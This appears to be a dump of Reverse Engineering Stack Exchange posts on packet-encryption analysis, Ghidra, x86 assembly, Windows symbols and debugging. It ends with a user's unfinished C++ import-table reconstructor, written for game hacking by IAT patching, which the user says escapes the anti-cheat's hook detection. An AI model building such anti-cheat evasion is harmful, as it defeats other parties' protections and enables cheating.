A trick to see if is possibly compressed or encrypted well is try to compress the data (if large enough) if it does not get any meaningful compression then it is already compressed or encrypted enough to look random.

+ +

So the application might call recv or some other func to get data in. +Then it may, decrypt some identifier or length e.g. Packet ID lookup size or size in header.

+ +

Try sending 20 A characters the first time +Restarting the app and sending 23 A characters

+ +

Do a byte by byte difference and see what stands out as different.

+ +

Sometimes encryption key could be sent by the server first, in which case look for a single byte, block of bytes etc, that is copied somewhere on first recv, find references to that or memory (add a read breakpoint on it) and you might find your encrypt and/or decrypt routine.

+ +

Do multiple connections with same input data have the same data sent on the wire?

+ +

Can you send some reliable information and packet sniff it to see what it looks like?

+ +

For example if it has a login as the first packet and it is sent first straight after connection.

+ +

Send a long string of AAAAAAAAAAAAAAAAAAAAAAA +And observe the data.

+ +

Does it look like

+ +

10 00 01 00 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9 C9

+ +

For example that would indicate something like xor. +If xor observe many packets and look for bytes that you see often, e.g. 00 xor by something is the value.

+ +

Could also look more jumbled up or blocks of 4 bytes or some length. +If you see repeating sequence e.g. C9 EF AD CC C9 EF AD CC and you know the input data was a long string of ""A"" for example, then its doing a pattern.

+ +

I have seen some implementations where something like blowfish was used, initially seeded but they did not handle padding the packet out fully to a multiple of the block length, so odd number of bytes showed up as plain text.

+ +

If the data is different each time from the very first send with no other recv, it could be a time based encryption based on when you connected, or that the client just picks random key and tells the server it.

+ +

For example if the first packet sent from client to server is 32 bytes of gibberish, its probably a key or an initialization vector to seed a block cipher or something...

+ +

One software was like this. +CustomSend(data, length)

+ +

Which copied the bytes to a buffer, offset by packet header. +Filled in the header with the length. +Encrypted the entire content using another function (Look for loops before send or a function called before send containing loops could be a few levels up or deep, but you should follow what happens to the buffer of data, you need to do this backwards.

+ +

Following the code backwards can be tricky sometimes I find it easier to go forward if you can find something you know will submit some known data to send to this socket action/packet. +Sometimes this is after a connect or after a first recv. +Or after hitting enter in a chat box.

+ +

It is also not guaranteed that the same encryption or key is used for both encryption and decryption.

+ +

It could also be some kind of Asymmetric encryption, e.g. one key to encrypt but another to decrypt with each end only knowing the key needed to send or recv data with the other.

+ +

Or they could get crafty and encrypt the data one way for the first few packets and switch it up after negotiating keys to use.

+ +

If you happen to use IDA or maybe there is an alternative on Ghidra +https://github.com/d3v1l401/FindCrypt-Ghidra + or other tools? You can use something like FindCrypt to find known crypto algorithms +https://www.hex-rays.com/blog/findcrypt/ which by looking at what uses/references them you might find the encrypt/decrypt that way.

+ +

Sounds fun hope you can make some progress on it.

+",3223,,3223,,6/11/2020 11:18,6/11/2020 11:18,,,,0,,,,CC BY-SA 4.0 +25276,1,25282,,6/11/2020 12:16,,3,1690,"

I am using this extension for loading PS-X executables:

+ +

https://github.com/lab313ru/ghidra_psx_ldr

+ +

During decompilation, Ghidra shows some of these warnings:

+ +
WARNING: Removing unreachable block (ram,0x8003a320)
+
+ +

Do you know how to prevent Ghidra from pruning these code blocks ?

+",4122,,153,,6/13/2020 20:39,6/13/2020 20:39,How to prevent Ghidra from removing unreachable blocks?,,1,0,,,,CC BY-SA 4.0 +25278,1,,,6/11/2020 17:44,,1,675,"

I am trying to understand scanf function a have 3 question regarding it. +this is c file:

+ +
#include <stdio.h>
+#include <stdlib.h>
+
+int main(){
+    int x;
+    printf(""Enter X:\n"");
+    scanf(""%i"",&x);
+    printf(""You entered %d...\n"",x);
+    return  0;
+}
+
+ +

and here is gas:

+ +
.text
+    .section    .rodata
+.LC0:
+    .string ""Enter X:""
+.LC1:
+    .string ""%i""
+.LC2:
+    .string ""You entered %d...\n""
+    .text
+    .globl  main
+    .type   main, @function
+main:
+    pushq   %rbp    #
+    movq    %rsp, %rbp  #,
+    subq    $16, %rsp   #,
+# a.c:5:    printf(""Enter X:\n"");
+    leaq    .LC0(%rip), %rdi    #,
+    call    puts@PLT    #
+# a.c:6:    scanf(""%i"",&x);
+    leaq    -4(%rbp), %rax  #, tmp90
+    movq    %rax, %rsi  # tmp90,
+    leaq    .LC1(%rip), %rdi    #,
+    movl    $0, %eax    #,
+    call    __isoc99_scanf@PLT  #
+# a.c:7:    printf(""You entered %d...\n"",x);
+    movl    -4(%rbp), %eax  # x, x.0_1
+    movl    %eax, %esi  # x.0_1,
+    leaq    .LC2(%rip), %rdi    #,
+    movl    $0, %eax    #,
+    call    printf@PLT  #
+# a.c:8:    return  0;
+    movl    $0, %eax    #, _6
+# a.c:9: }
+    leave   
+    ret 
+    .size   main, .-main
+    .ident  ""GCC: (Debian 8.3.0-6) 8.3.0""
+    .section    .note.GNU-stack,"""",@progbits
+
+ +

1) +The rsi should take address of x int, but it takes the address from -4(%rbp), where there is nothing, in time of execution. Because the initialization of x variable comes from the stdin as scanf waits for input to init the variable. But the what is in -4(%rbp) in the time of instruction leaq -4(%rbp), %rax? It looks like garbage, not address of x, which value should be initialized from stdin.

+ +

2)according to this https://stackoverflow.com/questions/54165346/integer-describing-number-of-floating-point-arguments-in-xmm-registers-not-passe, the movl $0, %eax is to zero FP registers in al, but that is the same convention for printf. So my question is, to which functions from glibc or other libraries apply this convetion? (So I have to zero %al in printf, scanf, ....?). I assume to every, that has va_list or variable argument?

+ +

3) where in the gas source is stack canary in that should protect scanf buffer from overflow? according to this: How does scanf interact with my code in assembly, this should set canary (in masm):

+ +
0x080484c5 <+6>: mov    eax,gs:0x14
+   0x080484cb <+12>:    mov    DWORD PTR [ebp-0xc],eax
+   0x080484ce <+15>:    xor    eax,eax
+
+ +

But I see nothing similar to this in my gas source, which is also output from gcc, which should set it by itself (unless there is some checking in the the scanf function itself which is not visible in my source). So where is it?

+",30782,,,,,11/9/2020 11:01,Disassemble scanf storage register,,1,0,,,,CC BY-SA 4.0 +25279,2,,25268,6/11/2020 20:29,,1,,"

You need to set ds to the actual segment value used by the program. Usually it's one of the segments near the end. I suggest you to check which of the segments has something fitting at 8401h, or try to see how ds is set up in the calling function (you may need to go several levels up). You can also try to map the value you see in DOSBox debugger back to one of the segments in IDA (e.g. check what is at ds:0 and find it in database).

+ +

In the Alt-G dialog, you can enter the selector (paragraph) value of the segment (database, not runtime) or simply the segment name.

+ +

If all accesses in the current code segment use the same data segment, you can set it as the default in Edit-Segments-Set Default Segment Register Value...

+",60,,,,,6/11/2020 20:29,,,,1,,,,CC BY-SA 4.0 +25281,1,,,6/12/2020 4:01,,1,52,"

Take for example, 'kernel32.dll', the export table already provides the list of exported functions, then in what use case, would I need to download the debugging symbols for it from the MS symbol server?

+",15582,,,,,6/12/2020 15:09,"In the context of the Windows API, what extra information do the debugging symbols provide that the export table doesnt provide?",,2,0,,,,CC BY-SA 4.0 +25282,2,,25276,6/12/2020 7:09,,7,,"

By default, there is a setting in Code Browser that allows Ghidra to eliminate unreachable code, you would have to change the setting by editing the options for Code Browser. This can be done by going to Edit -> Tools Options. This would bring you to a page as seen in the screenshot below

+ +

+ +

Under the Analysis options in the Decompiler folder, there is a checkbox called ""Eliminate unreachable code"", uncheck that and apply the option. I hope this helps!

+",33115,,,,,6/12/2020 7:09,,,,0,,,,CC BY-SA 4.0 +25283,2,,25281,6/12/2020 10:08,,2,,"

without symbols most of the calls would be like call dword ptr ds :[12345678] or call 45678976 or jmp 86753535 etc

+ +

with symbols it would be like call dword ptr ds:[exitprocess]

+ +

call foo32!blah

+ +

jmp some-non-exported-address-that-was-named-by-symbol etc

+ +

apart from names symbols provide typeinfo

+ +

like push foo->blah

+ +

instead of push [eax+60]

+ +

also exported apis can be ordinal exports +then all calls will look like call ord1 call ord2 call ordn
+without a symbol file you will have a hard time renaming and analyzing them
+take a look at mfcxx.dll

+",3473,,3473,,6/12/2020 15:09,6/12/2020 15:09,,,,0,,,,CC BY-SA 4.0 +25284,2,,25281,6/12/2020 10:18,,2,,"

Most available public symbol files provide only global function and variable names (both exported and non-exported ones). A small minority (e.g. ntdll, kernel32, ntoskrnl) also include various system types (structures , enumerations) which is very useful for low level debugging. But even without types you can often guess a lot just from the function names.

+",60,,,,,6/12/2020 10:18,,,,0,,,,CC BY-SA 4.0 +25285,2,,25278,6/12/2020 10:35,,1,,"
    +
  1. rbp-4 is the location allocated by the compiler for the variable x. You can see that later it’s being read by the mov instruction for the printf call.
  2. +
  3. al must be set before every call to a variadic function (...).
  4. +
  5. This depends on GCC version/build options but by default, stack protection is only used in functions with buffers(arrays) over 8 bytes large. Because you have only a single integer, there is no way it would be overrun so no stack protection is added. If you want to enable it regardless, use -fstack-protector-all. Note that the stack protector cannot do anything about integer overflows.
  6. +
+",60,,,,,6/12/2020 10:35,,,,0,,,,CC BY-SA 4.0 +25288,1,26317,,6/13/2020 10:57,,2,102,"

Recently I came across the following set of vector instructions:

+ +
movq      xmm0, rcx
+punpckldq xmm0, 0x4530000043300000
+subpd     xmm0, 0x4330000000000000
+haddpd    xmm0, xmm0
+
+ +

The only sensible information I found based on the constants is a routine called EmitFPVectorU64ToDouble. Runtime behavior seemed to confirm that these instructions indeed convert an unsigned integer onto scalar double-precision float.

+ +

What I'm looking for is an explanation of why these instructions achieve the result, theory behind it.

+",3010,,,,,11/16/2020 23:32,What numeric properties are used in this Unsigned Integer (64bit) -> Floating Vector (128bit) conversion?,,1,0,,,,CC BY-SA 4.0 +25289,1,,,6/13/2020 19:11,,2,678,"

When I enter to some site it ask me to install ActivX to my Internet Explorer browser so this site will work well. I installed that,and that site works well.

+ +

How can I see this ActiveX code(where does the code located) and debug this code with Ida?

+",30423,,30423,,6/13/2020 19:19,6/16/2020 20:03,How to debugging activeX with Ida,,1,0,,,,CC BY-SA 4.0 +25290,1,,,6/13/2020 20:58,,2,216,"

I'm trying to break execution when a string is loaded in memory.

+ +

I can´t find the string by using the search for -> string references

+ +

So I press Alt + M and press Ctrl + B to search my string once is loaded, I can see it. +I try to right click on the address and set a hardware breakpoint but the software closes as soon as that string is shown so it doesn't break on the next run.

+ +

How can I set a condition so if a string appears a break happens?

+ +

I tried shift + F4 like with ollydbg and then I try to create an expression like this UNICODE[EAX] == ""myString"" but it says invalid expression...

+ +

I also tried the same expression using traceInto, but it definitely is not matching for the string, because I can't see it int he dump and even if I compare with a huge string, it doesn't do anything at all.

+ +

Any suggestions or ideas?

+",33540,,,,,6/13/2020 20:58,x64dbg break when hex string is loaded,,0,0,,,,CC BY-SA 4.0 +25291,2,,25271,6/13/2020 22:51,,3,,"

The second member, called buf (at location 4) is not a char. The type of that member is defined at 0x3451, and this is an array type. Its elements are each of the type defined at 0x2d04, which is a typedef named Char, which redirects to 0x29b7, which is indeed char (represented as base type signed char).

+ +
 <1><3451>: Abbrev Number: 11 (DW_TAG_array_type)
+    <3452>   DW_AT_type        : <0x2d04>       ==> Char   ==> (signed) char
+    <3456>   DW_AT_sibling     : <0x3462>       ==> just management info
+ <2><345a>: Abbrev Number: 25 (DW_TAG_subrange_type)
+    <345b>   DW_AT_type        : <0x29a8>       ==> indexed by ""sizetype""
+    <345f>   DW_AT_upper_bound : 4999           ==> indices are 0..4999
+ <2><3461>: Abbrev Number: 0
+
+ +

So the type of that member is an array containing 5000 Char objects which are char objects. So it is not surprising that when buf starts at offset 4, the next object starts at offset 5004.

+",21359,,21359,,6/14/2020 22:29,6/14/2020 22:29,,,,0,,,,CC BY-SA 4.0 +25292,1,25525,,6/13/2020 22:56,,2,440,"

I need to add new function inside pe32 module.dll Export Table , in dynamic way if possible ( via extending with dll ) or by patching pe32 module.dll

+ +

What can u suggest to solve this ?

+",14279,,14279,,6/13/2020 23:14,7/19/2020 20:33,Pe 32 Add Export function Segment by Extending with dll or Patching pe,,1,2,,,,CC BY-SA 4.0 +25293,2,,25105,6/14/2020 0:49,,1,,"

I was looking for the same thing and I recently found www.rockbox.org, an open source firmware for audio players. Their idea is the owners would capable to customize that firmware and make it more functional in some cases. Always is good enough to learn something and in the way have some fun too...

+",33543,,,,,6/14/2020 0:49,,,,0,,,,CC BY-SA 4.0 +25294,1,25299,,6/14/2020 3:44,,1,149,"

I want to implement a full blown import reconstructor into my app without any external dll's or Shell Executes to EXEs. I want to just have the ability to get IAT Import addresses to certain imported DLL's by name or Ordinal. So I can easily patch the IAT to do hacks. At the moment I do this all by hand and have to rely on updating the IAT addresses for every function I am hooking I want this to be automatic by putting in dll name and dll import name and get the import addresses. If I hook using anything other then IAT.. like (DWORD)GetProcAddress(""dllname"", ""import name""); it will be detected because it's hooking inside of a DLL that's outside the main game.. even though the anticheat also cares about editing the CODE of the Game itself same as it does for DLL's it doesn't seem to care about memory edits which is what IAT hooking does.

+ +

I tried a bunch of solutions such as PE-Sieve and libpeconv both don't handle packed IAT's..

+ +

I was going to make my own Auto Import Scanner.. but its too much work.. i need to first find a small +x86 disasm and opcode length counter then I could loop the whole game EXE and scan for absolute addresses and double check them with *(DWORD*) against (DWORD)GetProcAddress(""dllname"", ""import name""); if any of the addresses match then I found my IAT addresses.

+ +
– 8B0D MOV ECX,[ADDRESS]
+– 8B15 MOV EDX,[ADDRESS]
+– 8B1D MOV EBX,[ADDRESS]
+– 8B25 MOV ESP,[ADDRESS]
+– 8B2D MOV EBP,[ADDRESS]
+– 8B35 MOV ESI,[ADDRESS]
+– 8B3D MOV EDI,[ADDRESS]
+– A1 MOV EAX,[ADDRESS]
+- FF15 CALL [ADDRESS]
+– FF25 JMP [ADDRESS]
+– FF35 PUSH [ADDRESS]
+
+ +

Anyone got a code that already do this? or anything similar to this.. i would really appreciate it.

+ +

Here is what I got so far.. it kinda works gets 80-85% of all imports.. but the ones that are double jumped and some with crap instructions that needs a re-pass I'm still working on that anyone got these patterns complete?

+ +
#define ResolveRVA(base,rva) (( (uint8_t*)base) +rva)
+#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva)
+
+BOOL SnapShotModules(DWORD dwPID)
+{
+    BOOL           bRet = TRUE;
+
+    // Get all modules for this process:
+    std::vector<HMODULE> hModules;
+    const HMODULE hSelf = GetModuleHandle(NULL);
+    {
+        DWORD nModules;
+        EnumProcessModules(GetCurrentProcess(), NULL, 0, &nModules);
+        hModules.resize(nModules);
+        EnumProcessModules(GetCurrentProcess(), &hModules[0], nModules, &nModules);
+    }
+
+    if (!hSelf)
+    {
+        printf(""Invalid Process Handle\n"");
+        return FALSE;
+    }
+
+    gs_ModuleList.clear();
+
+    IAT_Module_Info modulefullInfo = { 0 };
+    MODULEINFO modinfo = { 0 };
+    char moduleName[256] = { 0 };
+    char moduleFileName[1000] = { 0 };
+
+    char myProcessFilePath[1000] = { 0 };
+    GetModuleFileNameExA(GetCurrentProcess(), NULL, myProcessFilePath, 1000);
+    LPCSTR MyProcessFileName = PathFindFileName(myProcessFilePath);
+    for (auto hModule : hModules) {
+        if (hModule == hSelf)
+            continue;
+
+        GetModuleInformation(GetCurrentProcess(), hModule, &modinfo, sizeof(modinfo));
+        GetModuleBaseName(GetCurrentProcess(), hModule, moduleName, sizeof(moduleName) / sizeof(char));
+        GetModuleFileName(hModule, moduleFileName, sizeof(moduleFileName) / sizeof(char));
+        if (_strcmpi(moduleName, MyProcessFileName) == 0) continue;
+        strcpy(modulefullInfo.DllName, moduleName);
+        modulefullInfo.ImageSize = modinfo.SizeOfImage;
+        modulefullInfo.ImageBase = (DWORD)modinfo.lpBaseOfDll;
+        modulefullInfo.EntryPoint = (BYTE*)modinfo.EntryPoint;
+        strcpy(modulefullInfo.DllFileName, moduleFileName);
+        gs_ModuleList.push_back(modulefullInfo);
+    }
+
+    return TRUE;
+}
+
+/************************************************************************/
+/*
+Function : Retrieve API info by its addr and the module it belongs to
+Params   : pBuf points to the image mapped to our space*/
+/************************************************************************/
+void GetAPIInfo(DWORD ptrAPI, const IAT_Module_Info *iat_module_info, DWORD ptrAPIObfuscated = NULL)
+{
+    //try to load the dll into our space
+    HMODULE hDll = NULL;
+    if(iat_module_info)
+        hDll = LoadLibrary(iat_module_info->DllFileName);
+
+    if (NULL == hDll)
+        return;
+
+    //now ask for info from Export
+    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)hDll;
+    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((BYTE *)pDOSHDR + pDOSHDR->e_lfanew);
+    if (pNTHDR->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_EXPORT + 1)
+        return;
+
+    PIMAGE_EXPORT_DIRECTORY pExpDIR = (PIMAGE_EXPORT_DIRECTORY)
+        ((BYTE *)pDOSHDR
+            + pNTHDR->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
+    DWORD dwFunctions = pExpDIR->NumberOfFunctions;
+    DWORD *ptrAddrFunc = (DWORD *)((BYTE *)pDOSHDR + pExpDIR->AddressOfFunctions);
+    DWORD i = 0;
+
+    //get index by address
+    for (i = 0; i < dwFunctions; i++)
+    {
+        if (ptrAPIObfuscated && ((DWORD)pDOSHDR + ptrAddrFunc[i]) == ptrAPIObfuscated)
+            break;
+        if (!ptrAPIObfuscated && ((DWORD)pDOSHDR + ptrAddrFunc[i]) == *(DWORD*)ptrAPI)
+            break;
+    }
+
+    //not match
+    if (i == dwFunctions)
+        return;
+
+    //get name and ordinal
+    DWORD dwNames = pExpDIR->NumberOfNames;
+    DWORD *pNames = (DWORD *)((BYTE *)pDOSHDR + pExpDIR->AddressOfNames);
+    WORD *pNameOrd = (WORD *)((BYTE *)pDOSHDR + pExpDIR->AddressOfNameOrdinals);
+    DWORD j = 0;
+    char *pszName = NULL;
+    SIZE_T nLen = 0;
+    for (j = 0; j < dwNames; j++)
+    {
+        if (pNameOrd[j] == i)
+        {
+            pszName = (char *)pDOSHDR + pNames[j];
+            nLen = strlen(pszName);
+            /*printf(""%X\t%04X\t%s\n"",
+                *(DWORD *)ptrAPI,
+                j,
+                pszName
+            );*/
+
+            //Save information
+            IAT_Import_Information iat_found = { 0 };
+            iat_found.IATAddress = ptrAPI;
+            strcpy(iat_found.IATFunctionName, pszName);
+            strcpy(iat_found.IATModuleName, iat_module_info->DllName);
+            listOfIATImports.push_back(iat_found);
+            if(ptrAPIObfuscated)
+                printf(""Added Obfuscated %X %X, %s -> %s\n"", ptrAPI, ptrAPIObfuscated, iat_module_info->DllName, pszName);
+            else
+                printf(""Added %X %X, %s -> %s\n"", ptrAPI, *(DWORD*)ptrAPI, iat_module_info->DllName, pszName);
+        }
+    }
+}
+
+/************************************************************************/
+/*
+Function : rebuild Import Info according to IAT
+Params   : ptrIAT point to the page where IAT in
+ppBuf [IN/OUT] is the memory space for the exe, may be updated
+dwImageSize is the exe's image size                                                                  */
+/************************************************************************/
+void FixImport(DWORD dwPID, DWORD ptrIAT, DWORD ptrIATEnd, DWORD dwImageSize)
+{
+    if (gs_ModuleList.size() == 0) {
+        printf(""No Modules loaded, can't fix anything\n"");
+        return;
+    }
+
+    //now verify every DWORD item is a valid FuncPtr with some dll.
+    //we need to snapshot the process.
+    std::list<IAT_Module_Info>::iterator it;
+    IAT_Module_Info iat_module_info;
+    printf(""ptrIAT = %X ptrIATEnd = %X\n"", ptrIAT, ptrIATEnd);
+
+    DWORD ptrIndex = ptrIAT;
+    DWORD dwModBase = NULL;  //????????????
+    DWORD dwModSize = NULL;
+    DWORD dwModHit = NULL;
+    while (TRUE)
+    {
+        //thz should always continue, even if BadPtr or invalid funcptr
+        if (ptrIndex <= ptrIATEnd
+            && IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD)))
+        {
+            ptrIndex += sizeof(DWORD);
+            continue;
+        }
+
+        //now we may end, be careful
+        if (ptrIndex > ptrIATEnd
+            && (NULL == *(DWORD*)ptrIndex)
+            && (NULL == *(DWORD*)(ptrIndex + sizeof(DWORD))))
+        {
+            break;
+        }
+
+        if (ptrIndex > ptrIATEnd
+            && IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD))
+            )
+        {
+            ptrIndex += sizeof(DWORD);
+            continue;
+        }
+
+        //////////////////////////////////////////////////////////////////////////
+        //whether in a module range
+        dwModHit = NULL;
+
+        //??????????
+        if (*(DWORD *)ptrIndex >= dwModBase
+            && *(DWORD *)ptrIndex < dwModBase + dwModSize)
+        {
+            dwModHit = dwModBase;
+        }
+
+        //have to loop every module
+        if (dwModHit == NULL)
+        {
+            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)
+            {
+                iat_module_info = *it;
+                dwModBase = (DWORD)iat_module_info.ImageBase;
+                dwModSize = (DWORD)iat_module_info.ImageSize;
+
+                if (*(DWORD *)ptrIndex >= dwModBase
+                    && *(DWORD *)ptrIndex < dwModBase + dwModSize)
+                {
+                    //printf(""ptrIndex %X %X, Mod: %X, Size: %X\n"", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);
+                    //printf(""Module: %s\n"", iat_module_info.DllName);
+                    break;
+                }
+                memset(&iat_module_info, 0, sizeof(IAT_Module_Info));
+            }//end for(
+        }//end if(NULL == 
+
+        if (iat_module_info.ImageBase == 0 && iat_module_info.ImageSize == 0) {
+            bool passDone = false;
+            DWORD deObfuscatedAddress = *(DWORD*)ptrIndex;
+            retryPass:
+            printf(""%X %X\n"", (BYTE)deObfuscatedAddress, *(BYTE*)deObfuscatedAddress);
+            if (*(BYTE*)deObfuscatedAddress == 0xE9) //JMP relative
+                deObfuscatedAddress = (*(DWORD*)(deObfuscatedAddress + 1)) + deObfuscatedAddress + 5;
+            else if (*(BYTE*)deObfuscatedAddress == 0x68) { //PUSH
+                printf(""PUSH = %X %X\n"", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1));
+                deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1);
+            }
+            else if ((BYTE)deObfuscatedAddress == 0xC0) { //shl (invalid opcode)
+                printf(""invalid = %X %X %X\n"", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);
+                deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex));
+                printf(""invalid = %X %X %X\n"", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);
+                passDone = true;
+                goto retryPass;
+            } else if ((BYTE)deObfuscatedAddress == 0xC8) { //enter (invalid opcode)
+                printf(""invalid = %X %X %X\n"", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);
+                deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex));
+                printf(""invalid = %X %X %X\n"", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);
+                passDone = true;
+                goto retryPass;
+            } else {
+                if (passDone) goto continueGo;
+                printf(""b unknown deob %X %X %X %X\n"", ptrIndex, *(BYTE*)ptrIndex, *(DWORD*)ptrIndex, deObfuscatedAddress);
+                deObfuscatedAddress += insn_len((void*)deObfuscatedAddress);
+                printf(""a unknown deob %X %X %X %X\n"", ptrIndex, *(BYTE*)ptrIndex, *(DWORD*)ptrIndex, deObfuscatedAddress);
+                passDone = true;
+                goto retryPass;
+            }
+            continueGo:
+            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)
+            {
+                iat_module_info = *it;
+                dwModBase = (DWORD)iat_module_info.ImageBase;
+                dwModSize = (DWORD)iat_module_info.ImageSize;
+
+                if (deObfuscatedAddress >= dwModBase
+                    && deObfuscatedAddress < dwModBase + dwModSize)
+                {
+                    //printf(""ptrIndex %X %X, Mod: %X, Size: %X\n"", deObfuscatedAddress, ptrIndex, dwModBase, dwModSize);
+                    //printf(""Module: %s\n"", iat_module_info.DllName);
+                    break;
+                }
+                memset(&iat_module_info, 0, sizeof(IAT_Module_Info));
+            }
+            GetAPIInfo(ptrIndex, &iat_module_info, deObfuscatedAddress);
+            ptrIndex += sizeof(DWORD);
+            memset(&iat_module_info, 0, sizeof(IAT_Module_Info));
+            continue;
+        }
+
+        //now *ptrIndex in dwModBase
+        //now retrieve API info (Hint, name) from the module's export
+        //printf(""ptrIndex %X %X, Mod: %X, Size: %X\n"", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);
+        GetAPIInfo(ptrIndex, &iat_module_info);
+        ptrIndex += sizeof(DWORD);
+    }
+}
+
+/************************************************************************/
+/*
+Function : Get AddressOfEntryPoint  (or Original Entry Point)
+Params   : lpAddr is the Base where the exe mapped into
+Return   : OEP (RVA)             */
+/************************************************************************/
+DWORD GetOEP(LPVOID lpAddr)
+{
+    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)lpAddr;
+    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((unsigned char *)pDOSHDR + pDOSHDR->e_lfanew);
+    return pNTHDR->OptionalHeader.AddressOfEntryPoint;
+}
+
+/************************************************************************/
+/*
+Function : Retrieve a process's Import Info only by IAT
+Param    : lpAddr is the address the exe mapped into (within our space)
+ptrIATEnd [out] used to receive the 1st IAT we found (FF25 XXXX, FF15YYYY)
+Return   : the beginning of the page where IAT in
+Search for FF25 XXXX,  or FF15 yyyy
+HelloWorld.exe
+004001E0 > .  EA07D577      DD USER32.MessageBoxA
+004001E4      00000000      DD 00000000
+004001E8 >/$  6A 00         PUSH 0                                   ; /Style = MB_OK|MB_APPLMODAL
+004001EA  |.  6A 00         PUSH 0                                   ; |Title = NULL
+004001EC  |.  6A 00         PUSH 0                                   ; |Text = NULL
+004001EE  |.  6A 00         PUSH 0                                   ; |hOwner = NULL
+004001F0  |.  E8 01000000   CALL <JMP.&USER32.MessageBoxA>           ; \MessageBoxA
+004001F5  \.  C3            RETN
+004001F6   $- FF25 E0014000 JMP DWORD PTR DS:[<&USER32.MessageBoxA>] ;  USER32.MessageBoxA
+Notepad.exe
+0100740B   .  FF15 38130001      CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>;  msvcrt.__set_app_type
+MSPaint.exe
+1000CA65    8B35 58D10110   MOV ESI,DWORD PTR DS:[<&KERNEL32.LCMapSt>; kernel32.LCMapStringW
+*/
+/************************************************************************/
+
+/*
+Need to check all of these
+– 8B0D MOV ECX,[ADDRESS]
+– 8B15 MOV EDX,[ADDRESS]
+– 8B1D MOV EBX,[ADDRESS]
+– 8B25 MOV ESP,[ADDRESS]
+– 8B2D MOV EBP,[ADDRESS]
+– 8B35 MOV ESI,[ADDRESS]
+– 8B3D MOV EDI,[ADDRESS]
+– A1 MOV EAX,[ADDRESS]
+- FF15 CALL [ADDRESS]
+– FF25 JMP [ADDRESS]
+– FF35 PUSH [ADDRESS]
+*/
+
+DWORD SearchIAT(LPVOID lpAddr, DWORD dwImageSize, DWORD pImageBase, DWORD dwMaxIATImageSize, DWORD *ptrIATEnd)
+{
+    DWORD pImageSectionStart = 0;
+    DWORD instruction_length;
+    DWORD *ptrFuncAddr = NULL;     //like xxx in JMP DWORD PTR DS:[XXXX]
+    DWORD ptrFuncAddrHighest = NULL;
+    DWORD dwOEP = NULL;
+    BYTE *pCode = NULL;
+    DWORD i = NULL;
+    WORD  wJMP = 0x25FF;
+    WORD  wCALL = 0x15FF;
+
+    dwOEP = GetOEP(lpAddr);
+    i = dwOEP;
+    pCode = (BYTE *)((BYTE *)lpAddr + dwOEP);
+
+    // get the location of the module's IMAGE_NT_HEADERS structure
+    IMAGE_NT_HEADERS *pNtHdr = ImageNtHeader(lpAddr);
+    // section table immediately follows the IMAGE_NT_HEADERS
+    IMAGE_SECTION_HEADER *pSectionHdr = (IMAGE_SECTION_HEADER *)(pNtHdr + 1);
+
+    bool got = false;
+    for (int scn = 0; scn < pNtHdr->FileHeader.NumberOfSections; ++scn)
+    {
+        char *name = (char*)pSectionHdr->Name;
+        DWORD SectionStart = (DWORD)lpAddr + pSectionHdr->VirtualAddress;
+        DWORD SectionEnd = (DWORD)lpAddr + pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize - 1;
+
+        if (got) {
+            pImageSectionStart = SectionStart;
+            break;
+        }
+
+        if (SectionStart == pImageBase + dwOEP && SectionEnd < dwImageSize) {
+            got = true;
+            //next one is imports.
+            ++pSectionHdr;
+            continue;
+        }
+        ++pSectionHdr;
+    }
+
+    if (!pImageSectionStart)
+        pImageSectionStart = dwImageSize;
+
+    printf(""Found OEP at %X, ImageSize = %X,%X\n"", dwOEP, dwImageSize, pImageSectionStart);
+
+    //search for FF 25 XXXX, FF 15 YYYY from OEP, had better use Disasm engine 
+    //but we just do it simply
+    while (i < pImageSectionStart)
+    {
+        if (memcmp(pCode, &wJMP, sizeof(WORD))
+            && memcmp(pCode, &wCALL, sizeof(WORD)))
+        {
+            //
+            instruction_length = insn_len(pCode);
+            pCode += instruction_length;
+            i += instruction_length;
+            continue;
+        }
+
+        //check illegal, *ptrFuncAddr > pImageBase  && *ptrFuncAddr <= pImageBase + dwImageSize
+        ptrFuncAddr = (DWORD *)(pCode + sizeof(WORD));
+        if (*ptrFuncAddr < (DWORD)pImageBase || *ptrFuncAddr >= (DWORD)pImageBase + dwImageSize)
+        {
+            instruction_length = insn_len(pCode);
+            pCode += instruction_length;
+            i += instruction_length;
+            continue;
+        }
+
+        //need to fix relocation
+        *(DWORD *)ptrFuncAddr = (long)lpAddr + *(long *)ptrFuncAddr - (long)pImageBase;
+        //now found one item that may belongs to IAT
+        ptrFuncAddr = (DWORD *)*ptrFuncAddr;
+
+        if ((DWORD)ptrFuncAddr > ptrFuncAddrHighest) {
+            ptrFuncAddrHighest = (DWORD)ptrFuncAddr;
+            printf(""highest = %X\n"", ptrFuncAddrHighest);
+        }
+
+        //recheck illegal, 
+        //for system dlls, what about user dlls? well, whatever, there must be system dlls
+        //what if we found IAT for system dlls, so we found the user dlls.
+        //What if the IAT tables are not continous????????
+        if (*ptrFuncAddr < dwMaxIATImageSize)
+        {
+            instruction_length = insn_len(pCode);
+            pCode += instruction_length;
+            i += instruction_length;
+            continue;
+        }
+        break;
